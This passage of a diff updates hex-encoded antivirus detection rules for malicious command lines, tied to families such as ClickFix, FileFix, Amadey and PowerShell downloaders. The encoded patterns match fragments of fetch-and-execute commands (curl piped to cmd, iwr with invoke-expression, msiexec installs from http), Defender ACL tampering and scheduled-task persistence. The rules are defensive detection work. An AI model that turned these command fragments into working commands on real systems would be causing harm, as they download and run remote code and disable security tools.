{52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 79 75 6b 53 63 68 74 61 73 6b 73 2e 5a 5a 00 01 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 0e 00 2f 00 43 00 52 00 45 00 } //21539 - $a_00_1 = {45 00 01 00 06 00 2f 00 53 00 43 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 54 00 52 00 01 00 06 00 2f 00 53 00 54 00 01 00 16 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 a4 00 00 01 00 } //65 - $a_00_2 = {21 23 } //1 !# - $a_3a_3 = {70 54 61 6d 70 65 72 41 63 6c 2e 41 00 01 00 44 02 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 78 00 65 00 20 00 90 02 ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 } //17748 - $a_00_5 = {01 00 3c 02 69 00 63 00 61 00 63 00 6c 00 73 00 20 00 90 02 ff 5c 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 72 00 65 00 73 00 65 00 74 00 90 00 00 00 d7 a4 00 00 10 00 10 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 53 68 65 6c 6c 44 6f 77 6e 2e 53 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0f 00 2e 00 3a 00 } //116 - $a_00_6 = {72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 73 00 71 00 6c 00 69 00 74 00 65 00 0f 00 28 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 70 00 73 00 31 00 00 00 d7 a5 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //92 + $a_00_1 = {45 00 01 00 06 00 2f 00 53 00 43 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 06 00 2f 00 54 00 52 00 01 00 06 00 2f 00 53 00 54 00 01 00 16 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 a3 00 00 79 00 } //65 + $a_00_2 = {21 23 53 4c 46 3a } //121 !#SLF: + $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 51 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 66 00 6f 00 72 00 20 00 28 00 24 00 0a 00 06 00 20 00 23 00 20 00 01 00 15 02 63 00 3a 00 5c 00 90 02 50 2e 00 64 00 6f 00 63 00 78 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 } //29268 + $a_00_4 = {64 00 66 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 00 00 00 d7 a4 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 42 21 4d 54 42 00 01 00 2f 02 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 68 00 74 } //46 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*65+(#a_00_2 & 1)*1+(#a_3a_3 & 1)*17748+(#a_00_5 & 1)*116+(#a_00_6 & 1)*92) >=7 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*65+(#a_00_2 & 1)*121+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*46) >=7 } -rule _InfrastructureShared_26308{ +rule _InfrastructureShared_27856{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 51 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 66 00 6f 00 72 00 20 00 28 00 24 00 0a 00 06 00 20 00 23 00 } //21283 + $a_00_1 = {15 } //32 + $a_02_3 = {50 2e 00 64 00 6f 00 63 00 78 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 70 00 64 00 66 00 90 00 01 00 13 02 63 00 3a 00 5c 00 90 02 50 2e 00 74 00 78 00 74 00 90 00 00 00 d7 a4 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 42 21 4d 54 42 00 01 00 2f 02 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 68 00 74 00 61 } //92 + $a_10_4 = {68 00 } //-28672 h + $a_00_5 = {70 00 90 00 01 00 41 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 90 00 00 00 d7 a4 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 41 63 6c 2e 41 00 01 00 44 02 69 00 63 00 61 00 63 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_02_3 & 1)*92+(#a_10_4 & 1)*-28672+(#a_00_5 & 1)*116) >=121 + +} +rule _InfrastructureShared_27857{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 41 42 21 4d 54 42 00 01 00 2f 02 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 00 70 00 90 02 50 6d 00 73 00 68 00 74 00 61 00 90 02 10 68 00 74 00 74 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344149,19 +364234,43 @@ rule _InfrastructureShared_26308{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26309{ +rule _InfrastructureShared_27859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 53 68 65 6c 6c 44 6f 77 6e 2e 53 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0f 00 2e 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 } //21283 - $a_00_1 = {61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 73 00 71 00 6c 00 69 00 74 00 65 00 0f 00 28 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 70 00 73 00 31 00 00 00 d7 a5 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //109 - $a_70_2 = {6f 63 61 6b 70 61 73 2e 41 00 01 00 78 00 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 2f 00 76 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 41 00 63 00 63 00 6f 00 75 00 6e 00 74 00 54 00 6f 00 6b 00 65 00 6e 00 46 00 69 00 6c 00 74 00 65 00 72 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 2f 00 74 } //21295 + $a_00_1 = {61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 73 00 71 00 6c 00 69 00 74 00 65 00 0f 00 28 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 64 00 62 00 2e 00 70 00 73 00 31 00 00 00 d7 a4 00 00 6f 00 6f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //109 + $a_69_2 = {6b 46 69 78 2e 44 46 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1c 00 3d 00 20 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 0a 00 0e 00 3d 00 20 00 69 00 77 00 72 00 20 00 23 00 01 00 2a 00 3b 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d } //17199 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_70_2 & 1)*21295) >=16 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_69_2 & 1)*17199) >=16 } -rule _InfrastructureShared_26310{ +rule _InfrastructureShared_27860{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1c 00 3d 00 20 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 } //21283 + $a_00_1 = {3a 00 2f 00 2f 00 0a 00 0e 00 3d 00 20 00 69 00 77 00 72 00 20 00 23 00 01 00 2a 00 3b 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 00 00 d7 a4 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 52 21 4d } //112 + $a_00_3 = {6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 0a 00 32 00 2f 00 6d 00 69 00 6e 00 20 00 63 00 6d 00 64 00 20 00 2f 00 6b 00 20 00 22 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 68 00 74 00 74 00 70 00 0a 00 1a 00 7c 00 20 00 63 00 6d 00 64 00 20 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_3 & 1)*32) >=111 + +} +rule _InfrastructureShared_27861{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 52 21 4d 54 42 00 64 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 0a 00 32 00 2f 00 6d 00 69 00 } //21283 + $a_00_1 = {63 00 6d 00 64 00 20 00 2f 00 6b 00 20 00 22 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 } //110 cmd /k "curl -s + $a_00_2 = {74 00 70 00 0a 00 1a 00 7c 00 20 00 63 00 6d 00 64 00 20 00 26 00 26 00 20 00 65 00 78 00 69 00 74 00 00 00 d7 a5 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 61 70 6c 6f 63 61 6b 70 61 73 2e 41 00 01 00 78 00 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 2f 00 76 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 41 00 63 } //104 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*104) >=120 + +} +rule _InfrastructureShared_27862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -344171,7 +364280,7 @@ rule _InfrastructureShared_26310{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26311{ +rule _InfrastructureShared_27863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -344183,7 +364292,7 @@ rule _InfrastructureShared_26311{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*115+(#a_2f_2 & 1)*13166) >=2 } -rule _InfrastructureShared_26312{ +rule _InfrastructureShared_27864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 21 " @@ -344195,7 +364304,7 @@ rule _InfrastructureShared_26312{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_50_2 & 1)*12851) >=21 } -rule _InfrastructureShared_26313{ +rule _InfrastructureShared_27865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -344206,7 +364315,63 @@ rule _InfrastructureShared_26313{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*103) >=3 } -rule _InfrastructureShared_26314{ +rule _InfrastructureShared_27866{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4d 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 } //21283 + $a_00_2 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 01 00 12 00 3b 00 3d 00 2b 00 2b 00 3b 00 3d 00 2b 00 2b } //103 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*103) >=111 + +} +rule _InfrastructureShared_27867{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa0 00 ffffffa0 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 4c 21 4d 54 42 00 64 00 38 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 } //21283 + $a_00_1 = {72 00 69 00 6e 00 67 00 28 00 32 00 2c 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 0a 00 0a 00 24 00 65 00 6e 00 76 00 3a 00 00 00 d7 a7 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 42 21 4d 54 } //83 + $a_00_2 = {79 } //66 y + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*83+(#a_00_2 & 1)*66) >=160 + +} +rule _InfrastructureShared_27868{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 52 50 42 21 4d 54 42 00 01 00 79 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 90 01 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27869{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 50 48 21 4d 54 42 00 01 00 48 00 2b 00 5b 00 53 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 4a 00 6f 00 69 00 6e 00 28 00 27 00 3b 00 27 00 2c 00 28 00 } //21283 + $a_00_1 = {74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 27 00 25 00 7e 00 01 00 0c 00 40 00 28 00 5e 00 26 00 7b 00 24 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 00 00 d7 a7 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 } //71 + $a_2f_2 = {6f 73 74 69 76 6f 6c 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 03 00 08 00 } //13166 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*71+(#a_2f_2 & 1)*13166) >=3 + +} +rule _InfrastructureShared_27870{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4b 6f 73 74 69 76 6f 6c 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 03 00 08 00 2d 00 75 00 72 00 69 00 03 00 18 } //21283 硅汰楯㩴楗㍮⼲潋瑳癩汯Ā∀椀渀瘀漀欀攀ⴀ爀攀猀琀洀攀琀栀漀搀̀ࠀⴀ甀爀椀̀᠀ + $a_00_2 = {68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 f6 ff 30 00 69 00 6e 00 74 00 65 00 67 00 72 00 69 00 74 00 79 00 61 00 7a 00 75 00 72 00 65 00 6f 00 70 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 73 00 00 00 d7 a7 00 00 15 00 15 00 06 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 53 65 72 76 57 6d 69 43 6f 6d 6d 61 6e 64 2e 67 65 6e 21 41 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=4 + +} +rule _InfrastructureShared_27871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 06 00 21 " @@ -344219,7 +364384,7 @@ rule _InfrastructureShared_26314{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*58+(#a_00_3 & 1)*115+(#a_ff_5 & 1)*92) >=21 } -rule _InfrastructureShared_26315{ +rule _InfrastructureShared_27872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -344227,23 +364392,116 @@ rule _InfrastructureShared_26315{ $a_4c_0 = {57 69 6e 33 32 2f 43 6f 62 52 75 6e 64 6c 6c 2e 41 00 0a 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 0e 00 20 00 53 00 74 00 61 00 72 00 74 00 57 00 01 } //21539 $a_00_2 = {61 00 72 00 74 00 57 00 9c ff 08 00 5c 00 77 00 6d 00 5c 00 9c ff 0e 00 53 00 74 00 61 00 72 00 74 00 57 00 6f 00 9c ff 22 00 7a 00 7a 00 7a 00 7a 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 64 00 00 00 d7 a8 00 00 10 00 10 00 04 00 21 23 54 72 6f 6a 61 6e 3a 44 6e 73 63 6d 64 2f 53 65 72 76 65 72 50 6c 75 67 69 6e } //83 $a_2e_3 = {00 05 00 16 00 5c 00 64 00 6e 00 73 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 05 00 2e 00 20 00 2f 00 73 00 65 00 72 00 76 00 65 00 72 00 6c 00 65 00 76 00 65 00 6c 00 70 00 6c 00 75 00 67 00 69 00 6e 00 64 00 6c 00 6c 00 20 } //19524 - $a_00_5 = {63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 01 00 18 02 20 00 5c 00 5c 00 90 02 30 5c 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 ab 00 } //32 + $a_00_5 = {63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 01 00 18 02 20 00 5c 00 5c 00 90 02 30 5c 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 a8 00 } //32 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*83+(#a_2e_3 & 1)*19524+(#a_00_5 & 1)*32) >=11 } -rule _InfrastructureShared_26316{ +rule _InfrastructureShared_27873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 04 00 21 " strings : $a_6f_0 = {61 6e 3a 44 6e 73 63 6d 64 2f 53 65 72 76 65 72 50 6c 75 67 69 6e 44 4c 4c 2e 41 00 05 00 16 00 5c 00 64 00 6e 00 73 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 05 00 2e 00 20 00 2f 00 73 00 65 00 72 00 76 00 65 00 72 00 6c 00 65 00 76 00 65 00 6c 00 70 00 6c 00 75 00 67 00 69 00 6e 00 64 00 6c 00 6c 00 20 00 05 00 12 00 20 00 2f 00 63 00 } //21539 - $a_00_1 = {66 00 69 00 67 00 20 00 01 00 18 02 20 00 5c 00 5c 00 90 02 30 5c 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 ab 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 61 74 4e 69 6b 2e 46 21 64 68 61 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 } //111 + $a_00_1 = {66 00 69 00 67 00 20 00 01 00 18 02 20 00 5c 00 5c 00 90 02 30 5c 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 a8 00 00 79 00 79 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 55 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 } //111 + $a_00_2 = {6c 00 63 00 0a 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 18 fc 1a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 00 00 d7 } //99 condition: - ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*111) >=16 + ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*99) >=16 } -rule _InfrastructureShared_26317{ +rule _InfrastructureShared_27874{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 55 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 63 00 61 00 6c 00 63 00 0a 00 06 00 20 00 23 00 20 00 01 00 } //21283 + $a_00_1 = {64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 18 fc } //10 + $a_00_2 = {72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 00 00 d7 a9 00 00 6f 00 6f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4f 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 } //26 + $a_00_3 = {72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 00 0a 00 17 02 7b 00 20 00 26 00 24 00 90 02 19 20 00 28 00 20 00 26 00 24 00 90 00 0a 00 13 02 7b 00 26 00 24 00 90 02 19 20 00 28 00 26 00 24 00 90 00 01 00 0c 00 29 00 20 00 7d 00 3b 00 20 00 24 00 } //119 + $a_00_4 = {29 00 7d 00 3b 00 24 00 } //1 )};$ + $a_a9_5 = {00 d0 00 d0 00 09 00 21 23 53 4c 46 3a 43 4c 2e 53 75 73 43 6d 64 43 75 72 6c 2e 53 31 00 64 00 08 00 63 00 75 00 72 00 6c 00 64 00 08 00 20 00 2d 00 6f 00 20 00 05 00 14 00 20 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 05 00 08 00 68 00 74 00 74 00 70 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 08 00 2e 00 62 00 61 00 74 00 01 00 0c 00 20 00 50 00 4f 00 53 00 54 00 20 00 01 00 08 00 54 00 65 00 6d 00 70 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 aa 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 41 21 4d 54 42 } //0 + $a_00_7 = {66 00 5d 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 2e 00 47 00 65 00 74 00 54 00 79 00 70 00 65 00 73 00 28 00 29 00 20 00 7c 00 20 00 25 00 7b 00 69 00 66 00 20 00 28 00 24 00 5f 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6c 00 69 00 6b 00 65 00 01 00 1a 00 24 00 5f 00 2e 00 47 00 65 } //82 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10+(#a_00_2 & 1)*26+(#a_00_3 & 1)*119+(#a_00_4 & 1)*1+(#a_a9_5 & 1)*0+(#a_00_7 & 1)*82) >=121 + +} +rule _InfrastructureShared_27875{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4f 21 4d 54 42 00 64 00 2b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 19 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 90 } //21283 + $a_00_2 = {26 00 24 00 90 02 19 20 00 28 00 20 00 26 00 24 00 90 00 0a 00 13 02 7b 00 26 00 24 00 90 02 19 } //123 + $a_00_3 = {26 00 24 00 90 00 01 00 0c 00 29 00 20 00 7d 00 3b 00 20 00 24 00 01 00 08 00 29 00 7d 00 3b 00 24 00 00 00 d7 a9 00 00 } //32 + $a_00_4 = {09 00 21 23 53 4c 46 3a 43 4c 2e 53 75 73 43 6d 64 43 75 72 6c 2e 53 31 00 64 00 08 00 63 00 75 00 72 00 6c 00 64 00 08 00 20 00 2d 00 6f 00 20 00 05 00 14 00 20 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 05 00 08 00 68 00 74 00 74 00 70 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 08 00 2e 00 62 00 61 00 74 00 01 00 0c 00 20 00 50 00 4f 00 53 00 54 00 20 00 01 00 08 00 54 00 65 00 6d 00 70 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 aa 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 41 21 4d } //208 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*123+(#a_00_3 & 1)*32+(#a_00_4 & 1)*208) >=111 + +} +rule _InfrastructureShared_27876{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd0 00 ffffffd0 00 09 00 21 " + + strings : + $a_46_0 = {43 4c 2e 53 75 73 43 6d 64 43 75 72 6c 2e 53 31 00 64 00 08 00 63 00 75 00 72 00 6c 00 64 00 08 00 20 00 2d 00 6f 00 20 00 05 00 14 00 20 00 26 00 26 00 20 00 73 00 74 00 